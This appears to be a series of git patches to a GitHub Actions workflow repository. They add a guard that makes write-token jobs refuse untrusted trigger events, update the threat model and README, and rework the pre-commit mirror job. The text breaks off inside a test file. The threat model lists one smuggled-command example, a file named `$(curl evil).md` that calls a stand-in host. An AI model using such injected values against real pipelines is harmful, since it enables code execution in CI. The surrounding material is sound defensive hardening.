a/.github/workflows/github-release.yaml b/.github/workflows/github-release.yaml index 50631cf..d16d395 100644 --- a/.github/workflows/github-release.yaml +++ b/.github/workflows/github-release.yaml @@ -47,6 +47,16 @@ jobs: permissions: contents: write steps: + - name: ๐Ÿšซ Refuse untrusted caller event + env: + EVENT_NAME: ${{ github.event_name }} + run: | + case "$EVENT_NAME" in + pull_request | pull_request_target | workflow_run | issue_comment | merge_group) + echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" + exit 1 + ;; + esac - name: ๐Ÿ“ฉ Download distributions id: distributions background: true diff --git a/.github/workflows/latex-to-pages.yaml b/.github/workflows/latex-to-pages.yaml index 4f96f51..a0a17f0 100644 --- a/.github/workflows/latex-to-pages.yaml +++ b/.github/workflows/latex-to-pages.yaml @@ -67,6 +67,16 @@ jobs: contents: write pages: read steps: + - name: ๐Ÿšซ Refuse untrusted caller event + env: + EVENT_NAME: ${{ github.event_name }} + run: | + case "$EVENT_NAME" in + pull_request | pull_request_target | workflow_run | issue_comment | merge_group) + echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" + exit 1 + ;; + esac - name: ๐Ÿ“ฅ Check out repository uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: diff --git a/.github/workflows/open-maintenance-pr.yaml b/.github/workflows/open-maintenance-pr.yaml index 676c4dd..b39efa6 100644 --- a/.github/workflows/open-maintenance-pr.yaml +++ b/.github/workflows/open-maintenance-pr.yaml @@ -144,6 +144,16 @@ jobs: outputs: number: ${{ steps.pull-request.outputs.number }} steps: + - name: ๐Ÿšซ Refuse untrusted caller event + env: + EVENT_NAME: ${{ github.event_name }} + run: | + case "$EVENT_NAME" in + pull_request | pull_request_target | workflow_run | issue_comment | merge_group) + echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" + exit 1 + ;; + esac - name: ๐Ÿ“ฅ Check out repository uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: diff --git a/.github/workflows/prepare-release-creator.yaml b/.github/workflows/prepare-release-creator.yaml index d714db7..f16cb10 100644 --- a/.github/workflows/prepare-release-creator.yaml +++ b/.github/workflows/prepare-release-creator.yaml @@ -243,6 +243,16 @@ jobs: permissions: contents: read steps: + - name: ๐Ÿšซ Refuse untrusted caller event + env: + EVENT_NAME: ${{ github.event_name }} + run: | + case "$EVENT_NAME" in + pull_request | pull_request_target | workflow_run | issue_comment | merge_group) + echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" + exit 1 + ;; + esac - name: ๐Ÿ“ฉ Download release patch id: patch background: true diff --git a/.github/workflows/prepare-towncrier-release.yaml b/.github/workflows/prepare-towncrier-release.yaml index f252241..78dcdd3 100644 --- a/.github/workflows/prepare-towncrier-release.yaml +++ b/.github/workflows/prepare-towncrier-release.yaml @@ -106,6 +106,16 @@ jobs: permissions: contents: read steps: + - name: ๐Ÿšซ Refuse untrusted caller event + env: + EVENT_NAME: ${{ github.event_name }} + run: | + case "$EVENT_NAME" in + pull_request | pull_request_target | workflow_run | issue_comment | merge_group) + echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" + exit 1 + ;; + esac - name: ๐Ÿ“ฅ Check out repository uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: diff --git a/.github/workflows/publish-pre-commit-mirror.yaml b/.github/workflows/publish-pre-commit-mirror.yaml index 4904f29..0601e03 100644 --- a/.github/workflows/publish-pre-commit-mirror.yaml +++ b/.github/workflows/publish-pre-commit-mirror.yaml @@ -30,6 +30,16 @@ jobs: permissions: contents: write steps: + - name: ๐Ÿšซ Refuse untrusted caller event + env: + EVENT_NAME: ${{ github.event_name }} + run: | + case "$EVENT_NAME" in + pull_request | pull_request_target | workflow_run | issue_comment | merge_group) + echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" + exit 1 + ;; + esac - name: ๐Ÿ“ฅ Check out repository uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: diff --git a/tests/release_workflow/test_github_release_workflow.py b/tests/release_workflow/test_github_release_workflow.py index fff4a83..b0c2735 100644 --- a/tests/release_workflow/test_github_release_workflow.py +++ b/tests/release_workflow/test_github_release_workflow.py @@ -17,6 +17,7 @@ def test_github_release_verifies_pypi_before_publishing(workflow: JsonObject) -> names = [item["name"] for item in steps(workflow, "github-release")] assert names == [ + "๐Ÿšซ Refuse untrusted caller event", "๐Ÿ“ฉ Download distributions", "๐Ÿ“ฉ Download release notes", "๐Ÿ Install uv and Python", diff --git a/tests/writer_event_guard/test_guard.py b/tests/writer_event_guard/test_guard.py new file mode 100644 index 0000000..7ccd65c --- /dev/null +++ b/tests/writer_event_guard/test_guard.py @@ -0,0 +1,69 @@ +import json +from pathlib import Path +from typing import Final + +import pytest +from conftest import WORKFLOWS, JsonObject, load_yaml, mapping, run_workflow_step, steps, text + +_GUARD: Final[str] = "๐Ÿšซ Refuse untrusted caller event" +_WRITERS: Final[tuple[tuple[str, str], ...]] = ( + ("open-maintenance-pr.yaml", "open"), + ("prepare-release-creator.yaml", "push"), + ("prepare-towncrier-release.yaml", "push"), + ("github-release.yaml", "github-release"), + ("publish-pre-commit-mirror.yaml", "mirror"), + ("latex-to-pages.yaml", "deploy"), +) +_REFUSED: Final[tuple[str, ...]] = ("pull_request", "pull_request_target", "workflow_run", "issue_comment", "merge_group") +_ALLOWED: Final[tuple[str, ...]] = ("push", "schedule", "workflow_dispatch", "release") + + +def _holds_write_token(job: JsonObject) -> bool: + permissions = mapping(job.get("permissions", {})) + return any(permissions.get(scope) == "write" for scope in ("contents", "pull-requests")) or ( + "secrets.RELEASE_APP_PRIVATE_KEY" in json.dumps(job) + ) + + +def _writer_jobs() -> set[tuple[str, str]]: + found: set[tuple[str, str]] = set() + for path in WORKFLOWS.glob("*.yaml"): + document = load_yaml(path) + if "workflow_call" not in mapping(document["on"]): + continue + for name, job in mapping(document["jobs"]).items(): + if "uses" not in mapping(job) and _holds_write_token(mapping(job)): + found.add((path.name, name)) + return found + + +def test_writers_are_the_guarded_jobs() -> None: + assert _writer_jobs() == set(_WRITERS) + + +@pytest.mark.parametrize(("workflow", "job"), _WRITERS) +def test_guard_is_the_first_step(workflow: str, job: str) -> None: + first = steps(load_yaml(WORKFLOWS / workflow), job)[0] + assert first["name"] == _GUARD + assert "if" not in first + assert first["env"] == {"EVENT_NAME": "${{ github.event_name }}"} + + +@pytest.mark.parametrize(("workflow", "job"), _WRITERS) +@pytest.mark.parametrize("event", _REFUSED) +def test_refused_event_fails_with_error(workflow: str, job: str, event: str, tmp_path: Path) -> None: + result, _ = run_workflow_step( + workflow, job, _GUARD, cwd=tmp_path, runner_temp=tmp_path, values={}, env={"EVENT_NAME": event} + ) + assert result.returncode != 0 + assert f"::error::writer job refuses {event} callers" in result.stdout + + +@pytest.mark.parametrize(("workflow", "job"), _WRITERS) +@pytest.mark.parametrize("event", _ALLOWED) +def test_allowed_event_passes(workflow: str, job: str, event: str, tmp_path: Path) -> None: + result, _ = run_workflow_step( + workflow, job, _GUARD, cwd=tmp_path, runner_temp=tmp_path, values={}, env={"EVENT_NAME": event} + ) + assert result.returncode == 0 + assert "::error::" not in result.stdout From a2c3dbe25cf195270b5af95484bbac9232678a87 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 19:44:07 -0800 Subject: [PATCH 33/38] =?UTF-8?q?=F0=9F=93=9D=20docs:=20note=20the=20write?= =?UTF-8?q?r=20event=20refusal?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Each writer section says which caller events it refuses and which triggers to use. The threat model rows that called these triggers caller configuration now name the refusal, and a changelog fragment records the behaviour change for callers. --- .github/THREAT_MODEL.md | 37 +++++++++---------- README.md | 23 +++++++++++- ...+writer-refuses-untrusted-events.change.md | 5 +++ 3 files changed, 45 insertions(+), 20 deletions(-) create mode 100644 changelog.d/+writer-refuses-untrusted-events.change.md diff --git a/.github/THREAT_MODEL.md b/.github/THREAT_MODEL.md index 321d6c5..bc51433 100644 --- a/.github/THREAT_MODEL.md +++ b/.github/THREAT_MODEL.md @@ -52,12 +52,12 @@ An attacker who controls any of these already has what github-workflows could gi ## Untrusted inputs -| Input | Comes from | What github-workflows guarantees | -| ---------------------------------- | ------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Pull request files | Any contributor | Read by read-only jobs only; inputs reach shells through environment variables. | -| Artifacts from read-only jobs | Jobs that ran project code | The writer accepts only the changelog and fragment deletions, or the paths the caller's `allowed-paths` names, as regular files or deletions. | -| Files already on PyPI | A partial or earlier upload | Digests and attestations must match before the GitHub Release is published. | -| Repository hooks and LaTeX sources | The caller's repository, including pull requests | LaTeX and pre-commit hook code runs in jobs without a write token, except the mirror job, which the caller limits to pushes to `main`, schedules and dispatches. | +| Input | Comes from | What github-workflows guarantees | +| ---------------------------------- | ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Pull request files | Any contributor | Read by read-only jobs only; inputs reach shells through environment variables. | +| Artifacts from read-only jobs | Jobs that ran project code | The writer accepts only the changelog and fragment deletions, or the paths the caller's `allowed-paths` names, as regular files or deletions. | +| Files already on PyPI | A partial or earlier upload | Digests and attestations must match before the GitHub Release is published. | +| Repository hooks and LaTeX sources | The caller's repository, including pull requests | LaTeX and pre-commit hook code runs in jobs without a write token, except the mirror job, which refuses pull request and other untrusted caller events before it checks out the repository. | ## Threats and controls @@ -65,11 +65,11 @@ An attacker who controls any of these already has what github-workflows could gi | ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Tampering | A compromised build job smuggles a workflow change into the release commit. | `validate-release-patch` path and mode allowlist. | | Tampering | A maintenance patch from a job that ran project code changes a path or mode outside the caller's allowlist, or replaces a reviewed maintenance branch. | `open-maintenance-pr` checks paths and modes in a read-only job, then verifies the digest of that patch before minting the App token. Each run force-pushes only its own branch with a lease, and the pull request still needs review. | -| Elevation of privilege | PR code reads the release App token. | The token is minted only in the writer job, which runs no project code. | +| Elevation of privilege | PR code reads the release App token. | The token is minted only in the writer job, which runs no project code and refuses pull request and other untrusted caller events before it checks out the repository. | | Tampering | A freshly published malicious tool version enters the release toolchain. | Hash-checked locks resolved with a seven-day upload cooldown, and the same cutoff for helper tools. | | Repudiation | Release commits cannot be traced to an approved run. | Commits and tags are authored by the App from a recorded workflow run. | | Tampering | A pull request replaces the Pages PDF or moves a published mirror tag. | The deploy job runs only on `main` and is the only job with write permission. The mirror compares a published tag's tree, refuses different content, and pushes without force. | -| Elevation of privilege | Pull request hook code runs with the mirror job's write token. | Caller configuration: the mirror holds `contents: write` in the job that runs hooks, so callers trigger it only on pushes to `main`, schedules and dispatches. | +| Elevation of privilege | Pull request hook code runs with the mirror job's write token. | The mirror job refuses `pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, and `merge_group` callers before it checks out the repository, so hook code from a pull request never runs with its write token. | ## Release chain @@ -78,15 +78,14 @@ Callers pin the full commit SHA of a release. ## Vulnerability or bug -| Report | Verdict | Why | -| ------------------------------------------------------------------------------------ | ------------- | ------------------------------------------------------------------------------- | -| A fragment named `$(curl evil).md` runs in `validate-news` | Vulnerability | PR data reached a shell as code. | -| A release patch that edits `.github/workflows/` is accepted | Vulnerability | Allowlist bypass. | -| A maintenance patch whose caller allowlist admits `.github/workflows/` is accepted | Not ours | The allowlist is caller configuration. | -| A release patch whose caller `allowed-paths` admits `.github/workflows/` is accepted | Not ours | The allowlist is caller configuration. | -| A caller runs the writer on `pull_request_target` | Not ours | Caller configuration. | -| A tool update waits seven days to land | Expected | The cooldown is deliberate. | -| A caller runs the mirror on `pull_request` | Not ours | Caller configuration; the README asks for push, schedule and dispatch triggers. | +| Report | Verdict | Why | +| ------------------------------------------------------------------------------------------------------------------------ | ------------- | ------------------------------------------------------------- | +| A fragment named `$(curl evil).md` runs in `validate-news` | Vulnerability | PR data reached a shell as code. | +| A release patch that edits `.github/workflows/` is accepted | Vulnerability | Allowlist bypass. | +| A maintenance patch whose caller allowlist admits `.github/workflows/` is accepted | Not ours | The allowlist is caller configuration. | +| A release patch whose caller `allowed-paths` admits `.github/workflows/` is accepted | Not ours | The allowlist is caller configuration. | +| A writer job runs for a `pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, and `merge_group` caller | Vulnerability | Writer jobs refuse those events before any checkout or token. | +| A tool update waits seven days to land | Expected | The cooldown is deliberate. | ## Severity @@ -99,8 +98,8 @@ Callers pin the full commit SHA of a release. ## Accepted risks - The build job runs the project's own build backend; its outputs, not its behavior, are verified. -- The mirror job runs the caller's pre-commit hooks while it holds `contents: write`. Callers limit its triggers as - described in the README. +- The mirror job runs the caller's pre-commit hooks while it holds `contents: write`. It refuses pull request and other + untrusted caller events, so hooks run only for pushes, schedules, dispatches and releases. ## Keeping this current diff --git a/README.md b/README.md index 0dfc6bb..b592d2f 100644 --- a/README.md +++ b/README.md @@ -290,6 +290,10 @@ generation run in the read-only job, before the artifact exists. The reusable wo **Output:** `number`, the pull request number. **Remote effect:** One force-pushed commit on `branch` and one pull request into `base`. An open pull request with the same branch is updated; two open pull requests on one branch fail. +The `open` job refuses `pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, and `merge_group` +callers. Its first step fails with an error that names the event, before the checkout and before the App token exists. +Trigger the caller on `push`, `schedule`, `workflow_dispatch`, or `release`. + ## Check pull request news `validate-news` reads `tool.towncrier` from `pyproject.toml`. It checks every added or modified fragment in the @@ -641,6 +645,10 @@ uses `release-auth` without creating a GitHub Deployment. The caller can place r job and make this job depend on it. One dispatch prepares one tag; run separate dispatches for separate packages. The tag-triggered ecosystem publisher stays in the caller repository. +The `push` job refuses `pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, and `merge_group` +callers. Its first step fails with an error that names the event, before the patch is downloaded and before the App +token exists. Trigger the caller on `push`, `schedule`, `workflow_dispatch`, or `release`. + ## Read Towncrier configuration `read-towncrier-config` reads `towncrier.toml` or `pyproject.toml` from the checkout's committed `HEAD`, so an untrusted @@ -819,6 +827,10 @@ What stays in the caller: - Any Cargo or uv version change beyond `cargo-set-version`, such as `uv version --package` for a second Python package. - The tag-triggered publisher, which stays in the caller repository. +The `push` job refuses `pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, and `merge_group` +callers. Its first step fails with an error that names the event, before the patch is downloaded and before the App +token exists. Trigger the caller on `push`, `schedule`, `workflow_dispatch`, or `release`. + ## Validate a Python release `validate-python-release.yaml` runs one `build` job. It exports hashed build constraints from the caller lock, builds @@ -1004,6 +1016,10 @@ jobs: `release-notes.yaml` passes `package` to `render-release-notes`. The Action's `previous` input still defaults to `auto`, so callers need no separate `select-previous-tag` step. +The `github-release` job refuses `pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, and +`merge_group` callers. Its first step fails with an error that names the event, before any artifact is downloaded or the +release is written. Trigger the caller on `push`, `schedule`, `workflow_dispatch`, or `release`. + ## Render GitHub Release notes `render-release-notes` checks the tag and its changelog section, finds the previous tag, and renders an unwrapped GitHub @@ -1380,7 +1396,8 @@ the branch and creates the `v` tag, then a GitHub release is created. succeeds with a notice. A different tree fails the run and names both trees. A published tag is never moved, because a moved tag changes the rev users have pinned; bump the package version to publish new content. - The job runs the repository's pre-commit hooks while it holds `contents: write`. Trigger it on pushes to `main`, - schedules, and manual dispatches, not on `pull_request`, so no pull request's hook code runs with that token. + schedules, and manual dispatches. It refuses `pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, + and `merge_group` callers before it checks out the repository, so no pull request's hook code runs with that token. ```yaml name: Mirror @@ -1429,6 +1446,10 @@ jobs: root-file: main.tex ``` +The `deploy` job refuses `pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, and `merge_group` +callers before it checks out the repository. It also runs only when the ref is `main`, so a `pull_request` trigger in +the example builds the PDF without deploying it. + ## Test a caller The [Actions test suite](tests) executes each inline `run:` block in temporary Git repositories. Test a caller's diff --git a/changelog.d/+writer-refuses-untrusted-events.change.md b/changelog.d/+writer-refuses-untrusted-events.change.md new file mode 100644 index 0000000..0b564e1 --- /dev/null +++ b/changelog.d/+writer-refuses-untrusted-events.change.md @@ -0,0 +1,5 @@ +The writer jobs in `open-maintenance-pr.yaml`, `prepare-release-creator.yaml`, `prepare-towncrier-release.yaml`, +`github-release.yaml`, `publish-pre-commit-mirror.yaml`, and `latex-to-pages.yaml` refuse callers that run on +`pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, or `merge_group`. The job fails with an error +before it checks out the repository or uses a token. Callers that ran a writer on those events must trigger it on +`push`, `schedule`, `workflow_dispatch`, or `release` instead. From dbd2e6291f41136e9703cb55526ffa4cf5f887e1 Mon Sep 17 00:00:00 2001 From: "pre-commit-ci[bot]" <66853113+pre-commit-ci[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 03:44:23 +0000 Subject: [PATCH 34/38] [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --- tests/writer_event_guard/test_guard.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/tests/writer_event_guard/test_guard.py b/tests/writer_event_guard/test_guard.py index 7ccd65c..e8f3bbb 100644 --- a/tests/writer_event_guard/test_guard.py +++ b/tests/writer_event_guard/test_guard.py @@ -3,7 +3,7 @@ from typing import Final import pytest -from conftest import WORKFLOWS, JsonObject, load_yaml, mapping, run_workflow_step, steps, text +from conftest import WORKFLOWS, JsonObject, load_yaml, mapping, run_workflow_step, steps _GUARD: Final[str] = "๐Ÿšซ Refuse untrusted caller event" _WRITERS: Final[tuple[tuple[str, str], ...]] = ( @@ -14,7 +14,13 @@ ("publish-pre-commit-mirror.yaml", "mirror"), ("latex-to-pages.yaml", "deploy"), ) -_REFUSED: Final[tuple[str, ...]] = ("pull_request", "pull_request_target", "workflow_run", "issue_comment", "merge_group") +_REFUSED: Final[tuple[str, ...]] = ( + "pull_request", + "pull_request_target", + "workflow_run", + "issue_comment", + "merge_group", +) _ALLOWED: Final[tuple[str, ...]] = ("push", "schedule", "workflow_dispatch", "release") From 8babc8c6633bd6d8a95798fdf3e757d75775d7bd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 19:46:28 -0800 Subject: [PATCH 35/38] =?UTF-8?q?=F0=9F=90=9B=20fix(mirror):=20commit=20an?= =?UTF-8?q?d=20tag=20every=20new=20version?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit pre-commit-mirror-maker commits and tags each upstream version itself, so the job needs a Git identity before it runs. The old workflow also decided "nothing to commit" by diffing against its own commit, which skipped any version whose formatting was a no-op, and pushed only the last tag when one run mirrored several versions. The job now records the base commit, folds the README and formatting changes into the newest mirror commit, checks each new tag against origin, and pushes the branch with every new tag in one atomic push. It creates a release per tag. --- .../workflows/publish-pre-commit-mirror.yaml | 103 ++-- README.md | 7 +- changelog.d/+pre-commit-mirror.feature.md | 2 +- .../publish_pre_commit_mirror/test_mirror.py | 463 ++++++++++++------ 4 files changed, 377 insertions(+), 198 deletions(-) diff --git a/.github/workflows/publish-pre-commit-mirror.yaml b/.github/workflows/publish-pre-commit-mirror.yaml index 0601e03..b98cde1 100644 --- a/.github/workflows/publish-pre-commit-mirror.yaml +++ b/.github/workflows/publish-pre-commit-mirror.yaml @@ -49,7 +49,13 @@ jobs: with: version: "0.13.7" enable-cache: false + - name: โš™๏ธ Configure Git identity + run: | + set -euo pipefail + git config user.name 'Github Actions' + git config user.email '41898282+github-actions[bot]@users.noreply.github.com' - name: ๐Ÿชž Generate mirror + id: generate env: EXCLUDE_NEWER: ${{ inputs.exclude-newer }} EXCLUDE_NEWER_PACKAGE: ${{ inputs.exclude-newer-package }} @@ -57,18 +63,28 @@ jobs: FILES_REGEX: ${{ inputs.files-regex }} run: | set -euo pipefail + base=$(git rev-parse HEAD) + echo "base=$base" >>"$GITHUB_OUTPUT" options=(--exclude-newer "$EXCLUDE_NEWER") while IFS= read -r line; do if [[ -n "$line" ]]; then options+=(--exclude-newer-package "$line"); fi done <<<"$EXCLUDE_NEWER_PACKAGE" uvx -p 3.15 "${options[@]}" --from pre-commit-mirror-maker==1.14.0 pre-commit-mirror . \ --language=python --package-name="$PACKAGE_NAME" --files-regex "$FILES_REGEX" + if [[ "$(git rev-parse HEAD)" == "$base" ]]; then + echo 'No new mirror versions' + echo 'mirrored=false' >>"$GITHUB_OUTPUT" + else + echo 'mirrored=true' >>"$GITHUB_OUTPUT" + fi - name: ๐Ÿ“ Update README with current version + if: ${{ steps.generate.outputs.mirrored == 'true' }} run: | set -euo pipefail version=$(cat .version) sed -i "s/rev: \".*\"/rev: \"v$version\"/" README.md - name: ๐Ÿ’… Format generated files + if: ${{ steps.generate.outputs.mirrored == 'true' }} env: EXCLUDE_NEWER: ${{ inputs.exclude-newer }} EXCLUDE_NEWER_PACKAGE: ${{ inputs.exclude-newer-package }} @@ -101,52 +117,65 @@ jobs: run: gh auth setup-git --hostname github.com --force - name: ๐Ÿ”„ Commit mirror changes id: commit + if: ${{ steps.generate.outputs.mirrored == 'true' }} env: + BASE: ${{ steps.generate.outputs.base }} GH_TOKEN: ${{ github.token }} run: | set -euo pipefail git add -A - if git diff --cached --quiet; then - echo 'No mirror changes to commit' - exit 0 + # Folds the README and formatting changes into the newest mirror commit; its tag moves locally only. + if ! git diff --cached --quiet; then + git commit --quiet --amend --no-edit + git tag --force "v$(cat .version)" fi - version=$(cat .version) - status=0 - git ls-remote --exit-code --tags origin "refs/tags/v$version" >/dev/null || status=$? - case "$status" in - 0) - git fetch --quiet --no-tags origin "refs/tags/v$version:refs/tags/v$version" - published=$(git rev-parse "v$version^{tree}") - regenerated=$(git write-tree) - if [[ "$published" != "$regenerated" ]]; then - echo "::error::v$version is published with a different mirror tree ($published), the regenerated tree is $regenerated; bump the package version to publish new content" >&2 - exit 1 - fi - echo "::notice::v$version is already published with identical mirror content, nothing to push" - exit 0 - ;; - 2) ;; - *) - echo "::error::could not read tags from origin, git exited with $status" >&2 - exit "$status" - ;; - esac - git -c user.name='Github Actions' \ - -c user.email='41898282+github-actions[bot]@users.noreply.github.com' \ - commit -m "Mirror: $version" - echo "version=$version" >>"$GITHUB_OUTPUT" - - name: ๐Ÿš€ Push mirror commit and tag - if: ${{ github.ref == 'refs/heads/main' && steps.commit.outputs.version != '' }} + mapfile -t commits < <(git rev-list --reverse "$BASE..HEAD") + tags=() + for commit in "${commits[@]}"; do + tags+=("$(git tag --points-at "$commit")") + done + pushed=() + for tag in "${tags[@]}"; do + status=0 + git ls-remote --exit-code --tags origin "refs/tags/$tag" >/dev/null || status=$? + case "$status" in + 0) + git fetch --quiet --no-tags origin "refs/tags/$tag" + published=$(git rev-parse 'FETCH_HEAD^{tree}') + regenerated=$(git rev-parse "$tag^{tree}") + if [[ "$published" != "$regenerated" ]]; then + echo "::error::$tag is published with a different mirror tree ($published), the regenerated tree is $regenerated; bump the package version to publish new content" >&2 + exit 1 + fi + echo "::notice::$tag is already published with identical mirror content, not pushing it" + ;; + 2) pushed+=("$tag") ;; + *) + echo "::error::could not read tags from origin, git exited with $status" >&2 + exit "$status" + ;; + esac + done + echo "tags=${pushed[*]}" >>"$GITHUB_OUTPUT" + - name: ๐Ÿš€ Push mirror commits and tags + if: ${{ github.ref == 'refs/heads/main' && steps.commit.outputs.tags != '' }} env: GH_TOKEN: ${{ github.token }} - VERSION: ${{ steps.commit.outputs.version }} + TAGS: ${{ steps.commit.outputs.tags }} run: | set -euo pipefail - git tag "v$VERSION" - git push --atomic origin HEAD:refs/heads/main "refs/tags/v$VERSION" - - name: ๐ŸŽ‰ Create GitHub release - if: ${{ github.ref == 'refs/heads/main' && steps.commit.outputs.version != '' }} + read -r -a tags <<<"$TAGS" + refs=() + for tag in "${tags[@]}"; do refs+=("refs/tags/$tag"); done + git push --atomic origin HEAD:refs/heads/main "${refs[@]}" + - name: ๐ŸŽ‰ Create GitHub releases + if: ${{ github.ref == 'refs/heads/main' && steps.commit.outputs.tags != '' }} env: GH_TOKEN: ${{ github.token }} - VERSION: ${{ steps.commit.outputs.version }} - run: gh release create "v$VERSION" --generate-notes + TAGS: ${{ steps.commit.outputs.tags }} + run: | + set -euo pipefail + read -r -a tags <<<"$TAGS" + for tag in "${tags[@]}"; do + gh release create "$tag" --generate-notes + done diff --git a/README.md b/README.md index b592d2f..28b51c3 100644 --- a/README.md +++ b/README.md @@ -1387,11 +1387,14 @@ The writer job uploads those files with the App token from the `release-auth` en ## Publish a pre-commit mirror `publish-pre-commit-mirror.yaml` generates a pre-commit mirror of a Python package's hook with pre-commit-mirror-maker -1.14.0, formats the result with prek 0.5.5, and commits it as `Mirror: `. On `main`, one atomic push updates -the branch and creates the `v` tag, then a GitHub release is created. +1.14.0, formats the result with prek 0.5.5, and commits each new version as `Mirror: `. On `main`, one atomic +push updates the branch and creates a `v` tag per new version, then a GitHub release is created for each tag. A +run with no new upstream version changes nothing. - Formatting runs twice. The first run may rewrite files and exit 1; the second run must pass on the rewritten tree. Any other exit status fails the job. +- When one run mirrors several versions, only the newest commit gets the README update and the formatting. Older tags + keep the tree pre-commit-mirror-maker generated. - A version whose tag already exists on origin is a no-op when the regenerated tree matches the tag, so the daily run succeeds with a notice. A different tree fails the run and names both trees. A published tag is never moved, because a moved tag changes the rev users have pinned; bump the package version to publish new content. diff --git a/changelog.d/+pre-commit-mirror.feature.md b/changelog.d/+pre-commit-mirror.feature.md index 7754462..c21ec1d 100644 --- a/changelog.d/+pre-commit-mirror.feature.md +++ b/changelog.d/+pre-commit-mirror.feature.md @@ -1,3 +1,3 @@ Add `publish-pre-commit-mirror.yaml`, a reusable workflow for pre-commit mirrors that pins the mirror maker and prek, checks formatting with a second run, never moves a published tag, treats an already-published identical version as a -no-op, and pushes the branch and tag in one atomic push. +no-op, and pushes the branch and every new tag in one atomic push, creating a release for each tag. diff --git a/tests/publish_pre_commit_mirror/test_mirror.py b/tests/publish_pre_commit_mirror/test_mirror.py index 40c71cf..e326fc2 100644 --- a/tests/publish_pre_commit_mirror/test_mirror.py +++ b/tests/publish_pre_commit_mirror/test_mirror.py @@ -1,184 +1,97 @@ +import dataclasses import os +import subprocess from pathlib import Path from typing import Final import pytest from conftest import WORKFLOWS, JsonObject, at, load_yaml, mapping, run, run_workflow_step, step, steps, text +from pytest import ParameterSet _WORKFLOW: Final[str] = "publish-pre-commit-mirror.yaml" _VALUES: Final[dict[str, str]] = { "github.token": "token", + "inputs.package-name": "pyproject-fmt", + "inputs.files-regex": r"(^|/)pyproject\.toml$", "inputs.exclude-newer": "7 days", "inputs.exclude-newer-package": "", } +@dataclasses.dataclass(frozen=True, slots=True, kw_only=True) +class _Scenario: + upstream: str + statuses: str + rewrite: bool + tags: tuple[str, ...] + + +_ONE_VERSION: Final[_Scenario] = _Scenario(upstream="1.0.0 1.0.1", statuses="0", rewrite=False, tags=("v1.0.1",)) +_SCENARIOS: Final[list[ParameterSet]] = [ + pytest.param(_ONE_VERSION, id="one-version"), + pytest.param( + _Scenario(upstream="1.0.0 1.0.1", statuses="1 0", rewrite=True, tags=("v1.0.1",)), + id="one-version-formatted", + ), + pytest.param( + _Scenario(upstream="1.0.0 1.0.1 1.0.2", statuses="0", rewrite=False, tags=("v1.0.1", "v1.0.2")), + id="two-versions", + ), + pytest.param( + _Scenario(upstream="1.0.0 1.0.1 1.0.2", statuses="1 0", rewrite=True, tags=("v1.0.1", "v1.0.2")), + id="two-versions-formatted", + ), +] + + @pytest.fixture def workflow() -> JsonObject: return load_yaml(WORKFLOWS / _WORKFLOW) -@pytest.fixture -def prek_stub(tmp_path: Path) -> Path: - bin_dir = tmp_path / "bin" - bin_dir.mkdir() - script = bin_dir / "uvx" - script.write_text( - """\ -#!/usr/bin/env bash -count=$(cat "$RUNNER_TEMP/prek-count" 2>/dev/null || echo 0) -echo $((count + 1)) >"$RUNNER_TEMP/prek-count" -read -r -a statuses <<<"$PREK_STATUSES" -exit "${statuses[count]}" -""" - ) - script.chmod(0o755) - return bin_dir +def test_steps_run_in_order(workflow: JsonObject) -> None: + assert [item["name"] for item in steps(workflow, "mirror")] == [ + "๐Ÿ“ฅ Check out repository", + "๐Ÿ“ฆ Install uv", + "โš™๏ธ Configure Git identity", + "๐Ÿชž Generate mirror", + "๐Ÿ“ Update README with current version", + "๐Ÿ’… Format generated files", + "โš™๏ธ Configure Git credentials", + "๐Ÿ”„ Commit mirror changes", + "๐Ÿš€ Push mirror commits and tags", + "๐ŸŽ‰ Create GitHub releases", + ] @pytest.mark.parametrize( - ("statuses", "accepted", "invocations"), + ("name", "condition"), [ - pytest.param("0", True, 1, id="clean-tree"), - pytest.param("1 0", True, 2, id="rewritten-then-clean"), - pytest.param("1 1", False, 2, id="rewritten-then-failing"), - pytest.param("2", False, 1, id="hook-crashed"), + pytest.param( + "๐Ÿ“ Update README with current version", + "${{ steps.generate.outputs.mirrored == 'true' }}", + id="readme", + ), + pytest.param("๐Ÿ’… Format generated files", "${{ steps.generate.outputs.mirrored == 'true' }}", id="format"), + pytest.param("๐Ÿ”„ Commit mirror changes", "${{ steps.generate.outputs.mirrored == 'true' }}", id="commit"), + pytest.param( + "๐Ÿš€ Push mirror commits and tags", + "${{ 